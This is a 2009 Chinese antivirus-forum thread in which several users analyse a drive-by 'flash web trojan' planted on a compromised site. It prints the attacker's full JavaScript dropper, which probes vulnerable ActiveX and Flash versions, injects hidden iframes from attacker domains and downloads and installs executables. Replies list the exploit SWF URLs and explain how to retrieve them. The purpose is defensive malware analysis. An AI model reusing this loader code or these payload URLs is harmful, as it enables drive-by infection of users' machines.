瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 一个迷惑人的flash网马
networkedition - 2009-6-4 13:17:00
此flash网马颇具有迷惑性,让人很容易在解密过程中忽略。下面我就详细讲解一下,被挂马地址为昨天网马播报中的"开封信息港"



Log is generated by FreShow.
[wide]http://kf.shangdu.com/daohang/chibi/?31440
    [script]http://down.wmjqr.cn/down/downcb/ads1.js
        [frame]http://30mm.azzwg.cn/cb/mm.htm
            [script]http://30mm.azzwg.cn/cb/014.js
          [object]http://30mm.azzwg.cn/cb/014.exe
            [frame]http://30mm.azzwg.cn/cb/m09002.htm
                [script]http://30mm.azzwg.cn/cb/m09002.js
            [frame]http://30mm.azzwg.cn/cb/lzn.htm
            [frame]http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'
            [script]http://30mm.azzwg.cn/cb/real.js
            [frame]http://30mm.azzwg.cn/cb/realn.htm
            [frame]http://30mm.azzwg.cn/cb/bfn.htm
        [frame]http://ad.uugua.cn/ad/
    [script]http://js.users.51.la/1310197.js


用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
networkedition - 2009-6-4 13:19:00
我们来着重讲解红色框链接地址:http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+',这个地址可能在网马解密过程中被迷惑,
来看下这个链接地址的源文件内容:

<script type="text/javascript" src="swfobject.js"></script>
<div id="flashcontent">YES</div>
<script type=text/javascript>var so=new SWFObject("GG.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent");</ScripT>

在该链接地址的原文件中有个gg.swf这个flash文件,按照常规解密方法我们会直接考虑下载这个swf网马,地址可能会被误认为是这个:http://30mm.azzwg.cn/cb/ff/GG.swf,以下是这个gg.swf源文件内容如下(见截图):
networkedition - 2009-6-4 13:19:00
这时我们会认为这个flash网马已经失效,但是实际上我们恰恰被欺骗过去了。我们再来仔细分析一下刚才的链接地址:
http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+',该链接地址里flash.asp?id='+Flashver+'这部分实际上指出的是一个swf网马下载地址,其中Flashver代表的是flash版本,那么具体真正的flash网马下载地址是什么呢?要结合所挂首恶意网址源代码来分析。以下是首恶意网址源代码内容:

<script>window.onerror=function(){return true;}</script>
<script>
try{var e;
var ado=(document.createElement("object"));
var Rising="classid";
var KV2008="Adodb.Stream";
var Kaspersky="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36";
ado.setAttribute(Rising,Kaspersky);
var as=ado.createobject(KV2008,"")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<script src=http://30mm.azzwg.cn/cb/014.js></script>")}
else{
if(navigator.userAgent.toLowerCase().indexOf("msie 7")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/m09002.htm"></iframe>')}
var myurl="http://30mm.azzwg.cn/cb/";
try{var f;
var ourgame=new ActiveXObject("GLCHAT.GLChatCtrl.1");}
catch(f){};
finally{if(f!="[object Error]"){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/lzn.htm"></iframe>')
}}
try{var j;
var SinaTV=new ActiveXObject("Downloader.DLoader.1");}
catch(j){};
finally{if(j!="[object Error]"){
document.write('<OBJECT id=Sina classid=clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A></OBJECT>');
Sina["DownloadAndInstall"](myurl+"sina.exe")
}}
try{var g;
var storm=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
storm=(document.createElement("object"));
ActivePerl="-1C59-4BBB-8E8";
getSpraySlide="1-6E83F82C813B";
helloworld2Address="clsid:2CACD7BB";
storm.setAttribute("classid",helloworld2Address+ActivePerl+getSpraySlide)
storm["Update"]("\Program Files\Common Files\uusee\" ,myurl+"UU.ini","",1)
}}
try{var l;
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version");}
catch(l){};
finally{if(l!="[object Error]"){
if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'"></iframe>');}
}}
try{var h;
var Real=new ActiveXObject("IERPCtl.IERPCtl.1");}
catch(h){};
finally{if(h!="[object Error]"){
Link=new ActiveXObject("IER"+"PCtl"+".IER"+"PCtl.1");
if(Link.PlayerProperty("PRODUCTVERSION")<="6.0.14.552"){
document.write("<script src=http://30mm.azzwg.cn/cb/real.js></script>")}
else{
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/realn.htm"></iframe>')}
}}
try{var b;
var bfn=new ActiveXObject("MPS.StormPlayer.1");}
catch(b){};
finally{if(b!="[object Error]"){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/bfn.htm"></iframe>')
}}
}}
</script>
networkedition - 2009-6-4 13:34:00
还是来看一下红色部分内容,在这里:if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'" 简单分析这是个条件语句,实际上这里就提供了具体flash版本号,结合这个那么flash网马地址也就出来了。
http://30mm.azzwg.cn/cb/ff/gg16.swf
http://30mm.azzwg.cn/cb/ff/gg28.swf
http://30mm.azzwg.cn/cb/ff/gg45.swf
http://30mm.azzwg.cn/cb/ff/gg47.swf
http://30mm.azzwg.cn/cb/ff/gg64.swf
http://30mm.azzwg.cn/cb/ff/gg115.swf
以上是真正的flash网马下载地址。
networkedition - 2009-6-4 13:44:00
我们下载其中的一个gg115.swf,直接以记事本方式打开,查看该文件源代码,即可看到真正网马下载地址。
详见下列截图:





这个网马还是很具有迷惑性的,特地拿出来讲解,和大家分享一下。在这里特别感谢一下250662772:kaka12:
轩辕小聪 - 2009-6-4 19:09:00


引用:
原帖由 networkedition 于 2009-6-4 13:34:00 发表
实际上这里就提供了具体flash版本号,结合这个那么flash网马地址也就出来了。

这是最关键的部分,但是你没有说清楚,这样看帖的人不会明白怎么根据版本号得到真正的地址。

详细地说应该是这样的:
参照恶意网页原文

try{var l;
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version");}
catch(l){};
finally{if(l!="[object Error]"){
if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'"></iframe>');}
}}


该代码尝试创建新的SWF9的ActiveX对象,并获得对象中$version属性的值,将其保存到变量Flashver中,使用变量l捕获错误。
当不出现[object Error]错误,说明系统存在这个ActiveX控件且可用,这时检查Flashver中是否包含特定的版本号字样。如果是,说明漏洞存在。
在漏洞存在的情况下,使用Flashver变量为参数访问flash.asp,从而得到真正的恶意代码内容。

那么这里要得到真正的恶意代码内容,就必须知道符合该漏洞要求的Flashver值到底是什么,将此值正确地加入iframe的URL链接中。
而Flashver值的形式,正是对此漏洞不熟悉的读者最生疏的地方。楼主没有讲清楚这个,这样大家基本上就摸不着头脑了。

Flashver的值源于对象中的$version属性,在用于IE组件的SWF9控件中该属性的值的形式为"win 9,0,x,0",其中x是副版本号,也就是该代码最关心的依据。
因此,符合以上条件的Flashver值应该为如下值之一:

win 9,0,16,0
win 9,0,28,0
win 9,0,45,0
win 9,0,47,0
win 9,0,64,0
win 9,0,115,0


因此将如下值其中之一加到iframe的src后面就可以得到相应的恶意代码。这里由于Flashver中有空格,我把空格给escape了,最后得到的链接为如下形式:

http://30mm.azzwg.cn/cb/ff/flash.asp?id=win%209,0,16,0


其他副版本号的依此类推。
(另外尝试发现,Flashver只写成"9,0,16,0"也照样可以成功,说明这个asp同样只是判断其中有没有关键字并返回相应的内容,而并不是判断整个Flashver)
上面这个链接得到的网页内容为:

<script type="text/javascript" src="swfobject.js"></script>
<div id="flashcontent">YES</div>
<script type=text/javascript>var so=new SWFObject("GG16.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent");</ScripT>


到了这里,才能看到GG16.swf。于是真正的畸形swf文件的链接为

http://30mm.azzwg.cn/cb/ff/GG16.swf


其余副版本号的情况依此类推。
轩辕小聪 - 2009-6-4 19:15:00
虽然Flashver单纯写成"9,0,16,0"甚至"9,0,16",在这个例子中也可以获取成功,但是这里还是需要强调Flashver的正确形式,因为在以前的flash网马分析实践中,swf文件的实际链接经常采用的是 $version+".swf" 的形式,如果搞不清楚$version属性的正确值,就获取不到正确的地址。
於陵闲云 - 2009-6-4 19:15:00
高手啊,膜拜学习了:kaka12:
轩辕小聪 - 2009-6-4 19:22:00
原来的flash网马分析实践中,我们经常看到网页中加载的.swf文件是ie.swf或ff.swf
其实这两个文件并不是触发漏洞的畸形swf文件,其功能只是获取SWF控件版本并连接到真正的畸形swf文件。
其使用的方法,正是在swf中加入脚本,通过获取$version属性,使用 $version+".swf" 的形式生成相应的畸形swf文件地址并调用相应函数加载之,从而触发漏洞。

因此我们再看本帖所提到的脚本代码,就可以发现,以上这种判断flash控件版本以加入相应地址的方法,其实只是原来的方法的“外化”。由于现在的代码直接以javascript的方式表现出来,而不是编译在swf文件中,所以实际上比原来更简单更容易判断了。
vistalong - 2009-6-5 12:48:00
继续学习
aaccbbdd - 2009-6-5 16:34:00
很不错
看看先:kaka12:
名字可以起这么长 - 2009-6-5 20:17:00
:kaka6: 搞不懂。。。
木孑鴻文武 - 2009-6-6 3:09:00
看了 这么多的。 深有感触。
我有个问题 希望斑竹 能够解答下 。
就是为什么你知道红色的那段有问题。 可不可以向我们介绍介绍。
dabydd - 2009-6-6 19:08:00
看不懂,貌似很专业,
amaomao123 - 2009-6-7 10:30:00
继续学习
咕噜猪zzZ睡觉觉 - 2009-6-7 10:50:00
Studying……:kaka2: :kaka2:
流氓大哥的朋友 - 2009-6-7 19:15:00
什么意思?看不懂
shenshaojian - 2009-6-9 1:17:00
该用户帖子内容已被屏蔽
ゞBOBO - 2009-6-9 6:46:00
由于本人对互联网络是一名新手  但看到了你们为了捍卫网络的安全给所有使用互联网络的朋友们很细微的讲解 防范那些无耻的毒浏 新手的我将永远支持瑞星:kaka9:
暗夜的雪 - 2010-2-4 13:09:00
这个甚至不算是网马解密,是和网马玩儿躲猫猫~
springyun - 2010-5-25 16:42:00
呵呵,不太搞得懂!:kaka6:
1
查看完整版本: 一个迷惑人的flash网马